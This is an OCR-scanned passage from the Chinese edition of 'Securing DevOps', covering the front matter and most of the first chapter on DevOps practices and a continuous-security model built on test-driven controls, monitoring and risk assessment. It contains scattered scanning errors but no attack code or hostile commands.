
M MANNING

云原生安全 
Ops 
保障

［美］Julien Vehent 著 

覃宇译

Securing DevOps 
Security in the cloud

0ト中国エ信出版集团
二—;httpx/Zwww.phei.com.cn



云原生安全 
©DevOps 

保障
［美］Julien Vehent 著

覃宇译

バe価霸的vOps
Secur”書^4bud

噓・孑エ堂出版a
Publishing House of Electronics Industry 

北京・BE1JING



内容简介

本书主要介绍了 DevOps实践中最容易被忽视的ー环——安全,.并且对云原生服务的安全保障也做 

了全面的阐述。书中详细介绍了 Web攻击防范、权限验证、日志监控、入侵检测、网络安全协议等老生 

常谈的话题在云原生基础设施上的变化。书中还提出了适应DevOps文化的持续安全、测试驱动安全、 

基础设施与流水线保证、轻量风险评估等颇具新意的观点和实践。本书通过ー个Web应用示例展示了 

ZAP, pineapple. Hindsight、GRR、MIG、osquery 和 Suricata 等工具的使用方法。本书最后总结了一ー份 

实施持续安全的三年路线图，指导组织全面提升安全实践和安全意识。
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译者序

近年来,在软件开发领域，DevOps和云原生己经是大势所趋。工程师只须将 

代码提交到仓库中，持续交付流水线就会自动地构建和测试代码,并快速地将结果 

呈现在用户面前。新特性的上线分分钟就能完成,我们看到海内外的互联网巨头们 

正不断刷新着每日部署的次数纪录。

与此同时，全球范围内不断发生的安全事件也引起了人们的警觉,尤其是愈发 

严重的用户隐私泄露问题，与之相关的丑闻也层出不穷。虽然，安全事件频发与极 

短的发布周期、相对开放的云基础设施之间并没有必然的联系。但是,DevOps实 

践者一定不能忽视安全问题,并应该好好利用云原生和自动化流水线的优势,做到 

防患于未然。因此,本书的内容对实践者来说,一定不能错过。

作为安全工程师，你一定是最关注安全问题的人。云原生基础设施安全保障和 

传统基础设施安全保障有何不同?如何借助云原生基础设施的优势减轻烦琐的安全 

保障工作?如何让DevOps团队能更多地关注安全问题并进行提早预防?

作为DevOps团队中的ー员，你ー定会关注一些具体实践和工具。Web应用安 

全扫描工具有哪些？持续交付流水线存在风险吗?安全性如何用自动化测试驱动？ 

如何监控系统中的攻击?权限管理如何做？ HTTPS的正确打开方式是什么?

作为管理者,你一定注重整个组织对安全事件的预防和应对。当安全事件发生 

时，组织如何有条不紊地快速应对？当安全危机解除后,组织如何进行事件回顾，
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避免错误重演？如何对组织面临的安全风险进行评估？如何ー步步提升整个组织的 

安全意识,并做到持续安全？

读者可以在本书中找到上述问题的答案。难能可贵的是,作者将这些思想、实 

践和工具通过ー个假想的Web应用示例串联在了一起,读者在阅读的同时不妨动手 

尝试一下。本书篇幅有限,不可能将所有的云基础设施和全部的安全实践收录其中, 

读者可以举一反三。但其背后安全内建的思想却是放之四海而皆准的。

感谢家人的支持鼓励，感谢博文视点编辑们的辛苦付出，他们的付出使得本书 

的翻译圆满完成。十分荣幸能够有此机会将这本新意十足、干货满满的图书介绍给 

国内的读者。希望读者和我ー样能有所收获。

覃宇

2020年3月于成都



献给我的妻子Bogdana 

献给在Mozilla为了保障网络安全、开放而奋斗的各位同事



刖 百

在陈旧的政府办公大楼地下室里，我正在收拾置物架上的废弃硬件，ー对看起 

来还算结实的硬盘吸引了我的注意力。我的第一份工作，是在一家法国税务机构做 

服务台技术员,那是2002年，我19岁。老板在安排我打扫地下室时还有些过意不去, 

她以为我不会喜欢这份差事，但我却像是打开了四十大盗藏宝洞的阿里巴巴。这么 

多闲置的旧服务器,仍然足以运行一些不知名的UNIX系统,拿来玩玩儿更不在话下。 

要不是我的公寓只有一间卧室和一个小厨房，我会把所有的东西都搬回家，组装成 

ー个巨大的网络!

这两块硬盘是15000转/分的SCSI硬盘，原本属于一台老旧的域控制器。我把 

硬盘放在ー边，继续寻找可以插入它们的SCS!卡。我在旁边的ー个盒子里找到了 

ー块，它满是灰尘但是完好无损。我用几个小时完成了对废弃硬件的清理和盘点， 

并获准将硬盘和SCS!卡带回家。我的计划很简单：把它们插到我的ー块备用主板上, 

搭建互联网上最快的反恐精英（ー款第一人称射击游戏）服务器。然后我要用新安 

装的512Kb/s的DSL线路把这台服务器连上互联网,邀请游戏玩家们到这里切磋。

整整一个周末,我都在想办法让这两块硬盘和SCSI卡能正常工作,让它们可 

以被Debian安装程序识别出来。我在几十个论坛和邮件列表里搜索了好几个小时， 

寻找关于这个特殊硬件的帮助和技巧，但找到的大部分内容都是和其他型号SCSI 
卡相关的结果，还有一些我完全搞不懂的神秘内核咒语。周末很快过去了,接着ー 
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周也很快过去了,终于，我成功地试岀了正确的参数组合,Linux安装程序在RAID 1 
上启动了。我想也许是我的问题，但是硬件真的很难搞！

成功的喜悦转瞬即逝，这些老旧的15000转/分硬盘嘎吱嘎吱地狂响，我坐在 

几米开外,几个小时后就被吵得快要抓狂。当然，我的游戏服务器运行正常而且速 

度还算可以，但我还是不情愿地关掉了它,把小公寓改造成数据中心的计划彻底泡 

汤了。

我是在千禧年前后学习的IT,那时IT领域里的重点是硬件和网络。和我的同 

事及导师ー样，我每周都要花几个小时去了解最新的服务器、最新的CPU和最好的 

硬盘。我们必须了解这一切，才能搭配出完美的系统来运行我们的应用。硬件的采 

购周期很长,而且价格昂贵,尤其是我所在的政府机构，选错了硬件意味着在接下 

来三年都要为无法更换的服务器买单。

把这个问题放在现如今的环境下想想。三年!大多数创业公司都生存不了这么 

长时间。任何JavaScript Web框架也火不了这么久。很多人在一家公司也待不了这 

么长时间。在IT世界里，三年可以算永生了。

那个时候（现在,我的口气好像爷爷辈的人）不可能在一年甚至两年内就把网 

络服务推向市场。没有云和服务提供商，就没办法托管服务器，甚至没办法运行远 

程访问的在线服务。我们的互联网连接速度也很慢，不适合在本地桌面和在线服务 

上传输大量数据。政府机构拥有的上行链路“高达” 128Kb/s,却还要和150个人共 

享！设置服务器的过程又慢又痛苦，常常要花好几个小时和硬件驱动程序斗智斗勇, 

还要花好几天的时间进行复杂的布线和安装。每个组织里都有一整个部门来处理这 

些工作,程序员知道需要尽早申请服务器，不然项目就会因此延迟数月之久。

IT对硬件和网络的重视也意味着安全团队必须同样重视硬件和网络。那时人们 

鲜有对应用安全性的讨论；相反,人们集中火力过滤网络流量和对服务器的访问（包 

括物理的和虚拟的）。我们在学校里学习的是防火墙、跨VLAN的独立系统和基于 

网络的入侵检测。我们没有在Web应用的安全性上投入太多，因为我们想象不到, 

在接下来的几年里，世界上大多数人将不再使用Outlook这种安装在本地的软件, 

转而使用Gmail这样的SaaS服务。这种转变的萌芽始于2005年前后,并在几年之 

后愈演愈烈。

在DevOps成为主流,并且持续集成、持续部署和基础设施即服务这些概念得 

到普及之后,那些被拖沓的硬件管理工作折磨得没了脾气的人们开始反抗,他们看 

到了几天内就能把基础设施部署好的希望，而再也用不着等上好几个月了。然而, 

大多数安全人员却表示反对，他们担心基础设施一旦失控，最终将会危及安全。

一开始,我也是这些反对的人当中的ー员。所有来之不易的技能让我养成了从 

硬件控制角度来考虑安全性的习惯:如果连系统都不是自己运行的，那么哪来安全 
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可言。然而,当我看到我在开发部门的朋友部署应用时只需几条命令,而我的老办 

法仍然需要好几个小时时,我的观点一点一点地发生了转变。显然,他们找对了方向。 

于是我找了一份运维工程师的工作,将一个庞大的Java应用迁移到AWS上。这是 

一段痛苦的旅程。我没用过Puppet或Chef这样的配置工具，而且那时AWS肯定也 

没有现在这么成熟。我编写了定制的Perl脚本来自动配置服务器,还学会了使用API 
来动态创建虚拟机。我的老板喜欢只用几条命令就让应用在新服务器上崩溃，然后再 

重新部署，但整个过程相当笨拙,容易出错,而且很不稳定。尽管如此，这仍然是ー 

个不错的开始,它让我渐渐相信,安全性高度依赖于基础设施的灵活性：如果系统可 

以快速运行起来,问题就可以更快得到解决,安全性自然也会更好。

当我加入Mozilla云服务团队之后，经验丰富的团队对先进DevOps技术的娴熟 

运用让我大开眼界。我看到ー个服务自动扩充一倍服务器来应对提升的流量,然后 

在几个小时后当负载降低时，这些额外的服务器又被销毁，这让内心痴迷于技术的 

我感受到了美好。对部署自动化的重视让新项目在初始设置后的ー两天内就可以完成 

集成。小规模的组织也可以利用这种灵活性快速成长,打出名声,并最终成长为技术 

巨头。在过去，配置好基本的Linux服务器，让它用上两块硬盘的RAID !并连上像 

模像样的互联网就要花上几周的时间，我们现在取得的巨大进步让人惊讶不已。

我坚信安全必须为业务服务。当业务需要现代化时，安全也要顺势而为进行变 

革，不要沦落为业务的阻碍，这就是DevOps运动的重演。我编写本书的目的是帮 

助那些有抱负、有经验的安全工程师，他们要在保障数据和客户安全的同时支持组 

织采用现代化实践。我把自己以往那些在对安全性要求很高的Web服务中集成的安 

全经验,与整个安全社区多年来不断完善的实践和技术相结合，总结成书。这一切 

并不是一成不变的，而且在本书出版之后，DevOps技术的发展之路还相当的漫长， 

但只要我们还要继续运行在线服务，本书总结的理念便依然适用〇



致谢

写书是一件劳心费カ的事情,写本书也不例外。接下来,你将读到的内容是我 

用了两年多的时间收集、组织、编写、编辑、重写、校对和制作的。关于写书的过程, 

我最喜欢的一句话来自Gene Fowler,他说:

“写作不难，只消坐瞪白纸一张,静待前额鲜血点点。''

独自面对这个漫长而痛苦的过程,放弃是很容易的决定，如果不是我的妻子 

Bogdana,我可能也已经放弃了。她不断地鼓励我完成这本书,并在我错过与家人 

相处的时间里支持我。我爱她，我对她感激不尽!

我还要感谢来自Mozilla安全团队、开发团队及运维团队的朋友和同事，他们 

的建议、反馈和技术支持帮助我完成了这本书。他们理所应当留下姓名，限于篇幅, 

我却无法在这里将所有人ーー列出，但我还是要特别感谢Guillaume Destuynder, 
Aaron Meihm, Chris Kolosiwsky 和 Simon Bennetts。他们的评论、反馈和支持让本 

书增色不少。

我的朋友Didier Bemaudeau发挥了关键的作用,他以银行业的专业知识拓展了 

DevOps中的安全视野。他贡献了另ー个与我不同的视角,让本书可以被更多背景 

的读者所接受。

我必须感谢Andrew Bovill和Scott Piper，他们验证了全书代码和技术的准确性。
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没有经过正确同行评审的代码就不是好代码！

此外,来自Manning的审稿人也提出了许多宝贵的建议,他们是Adam 
Montville> Adrien Saladin、Bruce Zamaere、Clifford Miller> Daivid MorganDaut 
Morina、Ernesto Cardenas Cangahuala> Geoff Clark> Jim Amrhein> Morgan Nelson> 
Rajiv Ranjan> Tony Sweets 及 Yan Guo。

最后,我要对我的开发编辑Toni Arritola和Dan Maharry表示特别感谢,他们 

在本书的成书过程中发挥了重要的作用。Dan帮我把散乱的想法整理成有条理的教 

材,而Toni督促我尽可能地交出ー份高质量的手稿。我可以负责任地说,本书的出 

版他们功不可没,感谢他们!



关于本书

本书是为Sam写的,她是ー个虚构出来的人物，她从一开始就从事IT工作, 

在过去的几年时间里，她一直在做运维工作,同时也承担ー些开发工作。Sam最近 

在Flycare找到了一份DevOps工程师的工作。Flycare正在构建一个管理医疗发票 

和账单的Web和移动平台。这是一家小型创业公司:两名运维人员加五名全职开发 

人员，还有几名业务人员。麻雀虽小，但数据健康的风险却不小，他们希望Sam能 

够搭建一个安全的平台来运行Web服务。

这也是Sam求之不得的挑战，但是对于开发人员喜欢一天三次将GitHub的代 

码部署到Doeker容器中的一家创业公司来说,保护这样一个高风险的平台将会非常 

困难。她需要一些帮助,于是我写了这本书来帮助Sam。

本书是如何组织的

《云原生安全与DevOps保障》的结构就像ー份教程,从基本的运维理念开始, 

确保读者先掌握最基本的DevOps技术,再逐步深入更复杂的主题。我们将在第1 
部分深入研究一个示例环境的安全性，在第2部分识别和对抗攻击，在第3部分完 

善组织的安全策略。这些章节的顺序也反映出ー个还没有建立安全策略或者刚刚采 

用DevOps的组织实现安全策略的方式。这是一本包含了大量概念而且实践性很强 

的手册,你ー定有机会将理论应用到实践之中。



xii 关于本书

路线图

第!章将阐述DevOps的概念,以及安全性和开发、运维实践紧密结合的必要性。 

你将了解我们用整本书来实现的持续安全方法。

第1部分从第2章开始,到第6章结束，将带领读者了解如何保障一条完整 

DevOps流水线的安全。

• 第2章将介绍构建在AWS上的DevOps流水线。你将搭建一条流水线去自动 

化地部署一个示例应用。一开始它并不安全，我们将指出需要改进的地方， 

并在接下来的章节里逐一解决。

• 第3章将阐述Web应用的安全性。我们将讨论如何测试网站,如何防止常见 

攻击，如何管理用户身份验证，以及如何使代码保持最新。

• 第4章将着重介绍如何加固AWS基础设施。你将了解到如何将安全测试作 

为自动化部署的一部分来执行，如何限制网络访问，如何保护对基础设施的 

访问,以及如何保护数据库。

・ 第5章将深入讨论通信安全,讨论HTTPS下的加密协议TLS,以及如何正 

确地实现TLS以达到保护网站的目的。

• 第6章将论述交付流水线的安全性。我们将讨论如何管理GitHub、Docker 
Hub和AWS中的访问控制。你还将了解到如何保护源代码和容器的完整性, 

以及如何向应用分发凭证。

第2部分从第7章开始，到第10章结束,重点关注如何监控基础设施中的异常， 

以及如何保护服务免受攻击。

• 第7章将阐述日志流水线的结构。你将看到收集、串流、分析、存储和访问 

这五层如何协作以便能有效地对日志进行处理。

• 第8章将着重介绍日志流水线中的分析层。你将运用各种技术来处理日志， 

并检测异常和欺诈活动。

• 第9章将探讨入侵检测。我们将讨论在网络、系统和人员这三个层次中用于 

检测欺诈活动的工具和技术。

• 第10章将给出ー个发生在虚构组织中的安全事件案例研究。你将了解如何应 

对和响应安全事件，以及如何从安全事件中恢复。

第3部分从第11章开始,到第13章结束,将教你完善DevOps组织安全策略 

的技术。

• 第11章将介绍风险评估。你将了解C1A三要素（保密性、完整性和可用性）， 

以及STRIDE和DREAD两种威胁建模框架。你还将了解如何在组织中实施 

轻量的风险评估框架。
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•第12章将探讨Web应用、源代码和基础设施三个层级的安全测试。我们将 

讨论各种可以用来查找组织中安全问题的工具和技术。

•第13章将介绍ー个在组织中实现持续安全的三年模型，并分享一些能增加成 

功机会的技巧。
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中添加的新特性。书中的全部代码示例都可以从电子工业出版社博文视点官网 

(www.broadview.com.cn)上下载。
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本章内容包括

・ 了解DevOps及它对云创建服务的影响
■ 应用持续集成、持续交付及基础设施即服务

・ 评估安全性在DevOps文化中的作用和目标
・ 定义DevOps安全策略的三个部分

21世纪的技术革命就是互通互连的应用,它们让我们的点滴生活变得更加便利 。 

应用让我们的工作生活效率倍增,帮助我们缴纳税款，分享照片给朋友和家人,寻 

找新家附近的美食,跟踪健身计划的进展,我们越来越受益于这些应用。Twitter, 
Facebook> Instagram和Google等服务的增长速度表明,无论是在手机屏幕上还是 

在浏览器中，每个应用都为用户带来了巨大的价值。

这场革命的成功一部分要归功于创建和运营这些应用的工具的进步。互联网上 

的竞争很激烈。用户对创意的新鲜感很快就会消退,组织必须快速行动来占领市场 

份额,并锁定其产品的用户。在初创企业的世界里,取得成功的关键因素是创意融 

入产品的速度和成本。DevOps带来了一场革命，通过互联网世界里工具和技术的エ 

业化，它让低成本运营在线服务成为可能,这场革命让小型初创企业也能够和科技 

巨头来掰掰手腕,一争高下。

在这场创业热潮之中，数据安全有时候会受到损害。客户已经展示出了对应用 
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的信任,并且愿意用他们的数据来换取功能,这导致大量的组织存储了海量的用户 

个人信息，而当这种局面形成之时，组织往往还没有准备好能处理这些数据的安全 

策略。一个让组织心存侥幸的激烈竞争格局再加上海量的敏感信息,这简直就是孕 

育灾难的完美温床。因此，随着在线服务数量的不断增加，数据泄露也随之出现得 

越来越频繁。

本书将帮助组织安全的运营，以及保护客户委托给它们的数据。我将介绍ー个 

模型，我称之为“持续安全”,该模型着重将安全原则融入DevOps策略的各个组成 

部分之中。我还将介绍文化、架构原则、技术和风险管理，它们的目标是让ー个不 

安全的方案变成成熟的方案。本书主要讲的是原则和概念，但我会把ー些具体的エ 

具和环境作为示例，并穿插在各个章节之中。

DevOps可以代表许多不同的含义，这取决于它应用于信息技术(IT, 
Information Technology)领域的哪个部分。运营核电站的基础设施和在网站上处理 

信用卡的支付有很大的不同，但同样都可以从DevOps中获益，对运营进行优化和 

加强。本书不可能涵盖DevOps和IT的全部领域，因此我将重点着眼于云服务，这 

是ー个专注于Web应用开发和运维的领域。本书中,我将邀请读者一起开发、运维、 

保护和维护ー个托管在云中的Web应用。书中展示的概念和例子最适用于云服务和 

那些还没有建立起专门的安全团队的组织，但思维开阔的读者可以轻易地将它们转 

换到任何DevOps环境之中。

在第1章,我们将探讨DevOps和安全如何配合，以允许组织在不牺牲客户安 

全的前提下承受风险。

1.1 DevOps 方法
DevOps是ー个持续改善软件产品的过程，它通过极短的发布周期、全面自动 

化的集成和交付流水线,以及团队间的紧密协作来不断改善产品。DevOps的目标 

是缩短将创意变成用户可以使用的产品的时间，并降低这个过程的成本。DevOps 
充分利用自动化流程来加速开发和部署。图1.1对比了传统软件构建方法和DevOps 
方法，传统方法在上面，DevOps在下面。

•图的上半部分,从概念构思到用户可用的时间周期是ハ天。基础设施部署占 

用的时间最多，因为工程师需要在互联网上创建托管软件所需的组件。另ー 

个大的时间耗费来自部署之间的测试和评审步骤。

•图的下半部分,从概念构思到用户可用的时间周期缩短到了两天。这是通过 

使用处理部署和软件测试/评审的自动化流程来实现的。
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基础设施上线 
对用户开放

图1.1 DevOps缩短了从功能构思到客户可用的时间。

如果ー个组织构建软件的速度能比对手快四倍，那么这将会给它带来巨大的竞 

争优势。实践表明,客户中意的创新产品ー开始可以不完整，但要能够快速稳定地 

改进。组织可采纳DevOps来降低开发生命周期的成本和延迟，并响应用户的要求。

通过DevOps,开发人员仅用数小时就可以发布新版本软件，对它们进行测试, 

并部署给客户。这并非意味着版本总是可以这么快地发布，适当的质量保障(QA, 
Quality Assurance)需要投入时间，而DevOps提供了在必要时能快速行动的能力。 

图1.2放大了图!.!下半部分的细节,展示了持续集成、持续交付及基础设施即服 

务这些技术如何被整合在一起以实现快速的发布周期。

图1.2中的流水线的关键部分是，从开发人员提交补丁到生产环境中的服务部 

署这些自动化步骤，最终以完全自动化的方式串联成的一个链条。如果这个链条上 

的任何ー个自动化步骤出现失败，那么流水线就会停止，代码就不会部署。这种机 

制将确保在所有类型的测试都通过之后，新版本的软件才能被发布到生产环境中。

1.1.1 持续集成

将新特性快速集成进软件的过程叫作持续集成(CL Continuous Integration)= 
CI定义了一个在软件产品中实现、测试及合并新特性的工作流。产品经理和开发人 

员定义一组小特性集合，这些特性能在较短的周期内实现。每个特性添加在主要源 

代码的ー个分支上,并提交评审,由另一位得到授权的开发人员来评审。在评审阶 

段,自动化测试会被执行以验证代码更改是否需要返エ,这能维持代码的质量水平。 
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在评审通过之后，修改会被合并到中央代码仓库中,这样就做好了部署的准备。小 

特性的快速迭代能让这个流程得以顺畅运行,避免了因大规模代码修改而对功能造 

成的破坏。

基础设施即服务 
把应用托管在云中

持续交付 
检查代码是否健壮并 
部署到线上服务器

持续集成 
检查代码是否 
按照期望工作

图1.2持续集成、持续交付和基础设施即服务组成了一条自动化流水线,让DevOps可以加速 
软件的测试和部署过程。

1.1.2 持续交付

将软件部署到客户可用的服务中的自动化过程叫作持续交付(CD, Continous 
Delivery), DevOps推崇工程师用程序代码来管理基础设施以快速应对变化,而不 

是手动管理基础设施组件。当开发人员将代码修改合并进软件之后,运维人员在 

CD流水线上触发更新后的软件的部署,流水线会自动获取最新版本的源代码,对 

其进行打包并为它创建新的基础设施。如果部署进行顺利，可能在QA团队人工 

或自动评审之后,该环境就会被提升为新的演练或生产环境。用户将被定向到这 

个环境，而老环境将被销毁。通过代码来管理服务器和网络的这一过程大大缩短 

了处理部署通常所需的漫长的等待时间。
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1.1.3 基础设施即服务

基础设施即服务(laaS, Infi"astructure as a Service)就是云。它是这样ー种概念, 

一个组织所依靠的数据中心、网络和服务器，有时甚至还有系统,统统都由第三方 

运营。这些基础设施可以作为服务暴露给运维人员,并且可以通过API和代码进行 

控制。laaS是DevOps弹药库中的核心工具，因为它在降低基础设施运营成本方面 

发挥着举足轻重的作用。可编程的特质将laaS和传统基础设施区分开来,并且鼓励 

运维人员编写代码来创建和修改基础设施,而不是手动执行这些运维任务。

内部运维

许多组织倾向于在内部运营它们的基础设施,这样做有各种各样的原因(监 

管、安全、成本，等等)。需要注意的是，采用laaS并非意味着将基础设施的管 

理外包给第三方。组织可以在内部使用Kubemetes或OpenStack这样的平台来 

部署和运维laaS,而不是直接在硬件上运行应用,从而享受到这些中间管理层 

带来的灵活性优势。

本书中我使用了由第三方运营的!aaS系统——AWS ( Amazon Web 
Services ),它受到许多组织的青睐,因为AWS帮助它们降低了基础设施管理的 

复杂性,让它们可以聚焦于核心产品。但是,我提及的大多数基础设施安全概 

念可以应用于任何类型的laaS，无论你是自己控制硬件还是让第三方替你控制。

管理更低层的基础设施将带来ー系列全新的问题,例如网络安全和数据中 

心的访问控制，你必须妥善处理这些问题。本书没有介绍这些内容,因为它们 

不是DevOps独有的问题，但是你应该可以轻易地从一些现有文献中获得帮助

AWS是最具代表性的IaaS,它将作为我们的示例环境贯穿于全书。图1.3的下 

半部分展示了由供应方管理的AWS组件，上半部分则是由运营方管理的组件。

CL CD及!aaS是成功的DevOps策略的基本组成部分。深谙CI/CD/IaaS工作 

流的组织能以全自动化的方式快速地将软件交付给终端用户，并能够做到ー天交付 

数次。测试和部署步骤的全部自动化保证了将流水线操作所需的人工干预降到了最 

低，这样在灾难发生时基础设施也是完全可以恢复的。

除了技术上的优势，DevOps还影响了组织文化,从很多方面提升了员エ的幸 

福感。
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图1.3 AWS是一个laaS，它通过承担对核心基础设施组件的管理来减轻运营的负担。图中下面 
方框内的设备完全由Amazon管理，而运营方管理的是上面方框内的组件。如果是传统的基础设 
施，所有的组件必须全都由运营方自己管理。

1.1.4 文化和信任

改进工具只是成功的DevOps方法的第一步。随之而来的是文化转变,驾驭 

DevOps技术并逐渐走向成熟的组织变得底气十足,相信自己有能力为用户带来新 

产品。组织的信心高涨带来了一个有意思的附带效果——对管理的需求减少了,这 

是因为工程师被赋予了以最小代价向组织交付价值的能力。ー些DevOps组织甚至 

开始尝试完全没有管理层的扁平组织架构。尽管完全去掉管理层只是适合于少数组 

织的极端情况，但是减少管理的整体趋势,毫无疑问和DevOps环境的成熟程度密 

切相关。

那些拥抱并成功运用DevOps的组织通常会更容易招纳并留住人オ。我们时常 

会听到开发人员和运维人员对在缓慢和混乱的环境中工作而怨声载道。开发人员会 

对需要等待数周才能将补丁部署到生产系统这件事大为光火。运维人员、产品经理 

和设计师也都不喜欢缓慢的迭代。员工会离开这样的公司，而人才流失会影响产品 

的质量。更快地将产品推向市场的公司拥有竞争优势,不仅是因为它们可以更快地 

向用户交付特性，更因为它们通过降低运维复杂度而给工程师带来了好心情。

DevOps告诉我们,更快地交付产品能够让组织更健康、更具竞争力，但软件交付 

速度的提升可能会增加安全工程师的工作难度。极短的发布周期只给彻底地安全审查 

留出了很少的时间，而要求组织承担的技术风险比在响应较慢的组织架构中的还要多。 

将安全融合到DevOps中会带来ー系列挑战，首当其冲的就是安全文化的根本转变。
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1.2 DevOps中的安全
“船泊港湾固然安全,但这不是造船的初衷。”

----- John A. Shedd

要想在竞争激烈的市场中立于不败之地,组织需要行动迅速，勇于承担风险, 

还要以合理的成本去运营。这些组织中的安全团队在帮助组织取得成功的同时，还 

要充当公司资产的安全网。安全团队需要和构建公司产品的工程师及经理紧密协作。 

当公司接纳DevOps时，安全文化也要改变,同样要接纳DevOps,这一切都要从聚 

焦于客户开始。

DevOps和它的前身——敏捷宣言（Agile Manifesto，链接1.1） ।与戴明十四法 

（Deming's 14 principles,链接1.2）都有一条共同的特质：聚焦于更快地将更好的产 

品交付给客户。成功的策略无一例外都是从聚焦于客户开始的（链接1.3）：

“我们不在乎竞争对手，我们以客户为中心。一切从客户需要出发并回馈 

给客户。”

----- Jeff Bezos, Amazon

在DevOps中，产品流水线上的每个人都以客户为中心:

・ 产品经理度量参与度和留存率。

• 开发人员度量工效和易用性。

« 运维人员度量上线时间和响应时间。

客户是公司关注的焦点。每个人的目标都要向客户的满意度这个指标看齐。

与此形成鲜明对比的是，许多安全团队却着眼于以安全为中心的目标，比如:

• 某种安全标准的合规性。

• 安全事件的数量。

• 生产系统中未修补的漏洞数量。

公司对外聚焦于客户，而安全团队对内聚焦于自身的环境。一方想提升组织的 

价值,而另一方想保护现有的价值。二者对于ー个健康的生态系统来说,都是不可 

或缺的,但若是南辕北辙的目标，则会给沟通和效率造成影响。

在积极考核个体团队的目标和绩效并以此来分配奖金的组织里，每一方都很紧 

张,都只会关注自己的业绩并无视对方。开发人员和运维人员为了达成目标，在交 

付可能存在风险的产品时会对安全建议视而不见。安全工程师则会阻止项目使用不

!原书中给出的所有链接以ー份表格的形式放在了博文视点的官网上,读者可以扫描xiii页”读者服 

务”或本书封底上的ニ维码查看该表格,并点击其中的链接直接访问。
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安全的技术,并且为了避免那些触碰底线的事件发生而推荐ー些不切实际的方案。 

在这种情况下，双方都有理有据,但就是不能理解和接受对方的动机。

作为一个安全工程师,我从未遇到过对安全毫不在意的开发或运维团队,但我 

遇到过许多因交付与目标脱节而受挫的团队。一方面,安全团队对产品策略缺乏认 

识，安排武断的安全审计阻挠特性上线,或者要求难以实现的复杂控制，这些都是 

和敏捷背道而驰的安全系统的征兆。另ー方面，忽视安全团队的经验和反馈的产品 

团队是风险的源头，这些风险最终损害的只能是组织。

DevOps教会我们，行之有效的策略要求运维方和开发方结合得更为紧密,要 

打破开发人员和运维人员之间的各种沟通壁垒。同样地，保障DevOps必须从安全 

团队和他们的工程师伙伴之间的紧密协作开始。安全需要作为服务的ー项功能提供 

给客户，同时安全团队和DevOps团队的内部目标必须保持一致。

当安全变成DevOps不可分割的一部分之后,安全工程师可以将安全控制直接 

内建到产品之中，而不是在事后强加于产品之上。每个人都有着让组织获得成功的 

共同目标。目标达成一致,沟通得到改善,数据安全得到提升。将安全引入DevOps 
的核心思想是，让安全团队采用DevOps技术，将他们的注意力从仅仅保护基础设 

施转移到通过持续改进来保护整个组织的目标上来。

在本书中,我将这种方法称为持续安全。在下ー节，你将会了解如何ー步步地 

实现持续安全,从简单和容易实现的安全控制开始,逐步完善安全策略，直到其覆 

盖整个组织。

1.3 持续安全

持续安全由三个领域组成，图1.4中已由三个带编号的方框标出。每ー个领域 

都聚焦于DevOps流水线的ー个特定方面。客户的反馈刺激了组织的扩张,从而驱 

动出新的特性，这ー过程也适用于持续安全。本书分为三个部分，每一部分分别覆 

盖了持续安全的ー个领域:

»测试驱动安全(TDS, Test-Driven Security) ——保障程序安全的第一步就是 

定义、实现并测试安全控制。TDS覆盖了简单的安全控制,比如Linux服务器 

的标准配置，还有Web应用必须实现的安全标头。通过持续地实现基本的安 

全控制，并不断地测试这些安全控制的准确性，可以获得极大的安全感。在实 

施得不错的DevOps中，人工测试应该是例外而不是规则。安全测试的处理方 

式和所有应用测试的处理方式ー模ー样:自始至终都要自动化。我们将在第1 
部分中通过在一条简单的DevOps流水线中应用多个层次的安全控制来介绍 

TDSo
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应用源代码在持续集成（a）中进 
行管理,其中的自动化测试保证了
软件质量和安全。

持续交付（cd!将打包的应用部署到 
演练环境中,更多的测试被执行,然 
后将变更提升到生产环境中.

织
到
性
会
推

进 

组
包
特
性
的
改

客户使用应用并提出影响未来改进的反馈・

图1.4持续安全的三个阶段通过反馈环不断地改进安全性来保护组织的产品和客户。

・攻击监控与应对——在线服务命中注定会受到威胁。当事件发生时,组织会 

向安全团队求助,团队必须准备好应对之策。持续安全的第2个阶段就是监 

控和应对风险，保护组织赖以生存的服务和数据。在第2部分里，我将讨论 

欺诈和入侵检测、数字取证及事件响应等技术，目的是让组织在面对突发事 

件时能够更从容。

・评估风险并完善安全性——本书的前两个部分大多谈的是技术,但安全策略 

如果只是关注技术问题，则不能称之为成功。持续安全的第3个阶段将跳 

出技术范畴，在更高的层面观察组织的安全形势。在第3部分里，我将说 

明风险管理和安全测试（包括内部的和外部的）是如何帮助组织重新聚焦 

于安全上的投入,并把好钢用在刀刃上。

成熟的组织信任它们的安全程序,而且会和它们的安全团队紧密协作。要做到 

这一点,组织需要专注、经验及良好的意识，即知道什么时候承担风险及什么时候 

规避风险。全面的安全策略要结合技术和人员，识别出可以改进的方方面面,并且 

合理地分配资源，所有这些都发生在快速完成的改进周期中。本书的目的就是为你 

提供能让组织达到这种成熟度的工具。

将持续安全的模型铭记于心，现在让我们详细了解它的三个部分，以及它们在 

产品安全方面的含义。
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1.3.1 测试驱动安全

只用手机就能突破层层防火墙或是破解密码,这样的黑客神话只是电影大片里 

的噱头，真实世界里鲜有这样的事情发生。在大多数情况下，攻击者会挑软柿子捏： 

有安全漏洞的Web框架，过时的系统,密码容易被猜到且可以公开访问的管理页面, 

以及不小心泄露在开源代码里的安全凭证，这些都是攻击者喜欢的目标。实现持续 

安全策略的第一个目标就是守住底线：在组织的应用和基础设施上使用基本的安全 

控制集并持续地进行测试。例如:

• 所有系统的SSH root登录必须禁用。

・ 系统和应用必须在最新可用版本发布后30天内升级补丁。

• Web应用必须使用HTTPS,禁用HTTP。

・ 严禁在应用代码中保存密码和凭证,它们只能单独保存在保险库中,只有运 

维人员可以访问。

• 管理界面必须被保护起来，并且只能通过VPN访问。

安全团队、开发人员及运维人员之间应该建立安全最佳实践清单,以确保每个 

人都认同其价值。通过收集这些最佳实践并加入ー些常识，基线需求的列表很快就 

可以建立起来。在本书的第1部分中，我将介绍确保应用、基础设施及CI/CD流水 

线安全性的各个步骤。

应用安全性

现代Web应用暴露在大量的攻击之下。开放Web应用安全项目(OWASP, 
Open Web Application Security Project)发布了排名在前十名的最常见的攻击手段(链 

接1.4)：跨站脚本攻击、SQL注入攻击、跨站请求伪造、暴力攻击，等等，似乎数 

不胜数。幸运的是，每ー种攻击向量都可以通过在正确的地方使用正确的安全控制 

来化解。在讨论应用安全性的第3章里,我们将深入了解为了保障Web应用安全, 

DevOps团队应该实现的安全控制。

基础设施安全性

依靠laaS运行软件并不能让DevOps团队高枕无忧，从而不用去关心基础设施 

的安全性。所有系统都有对外授予更高权限的入口,比如VPN、SSH网关，或者管 

理面板。随着一个企业的不断扩张，在开放新的入口和集成更多模块时,必须一直 

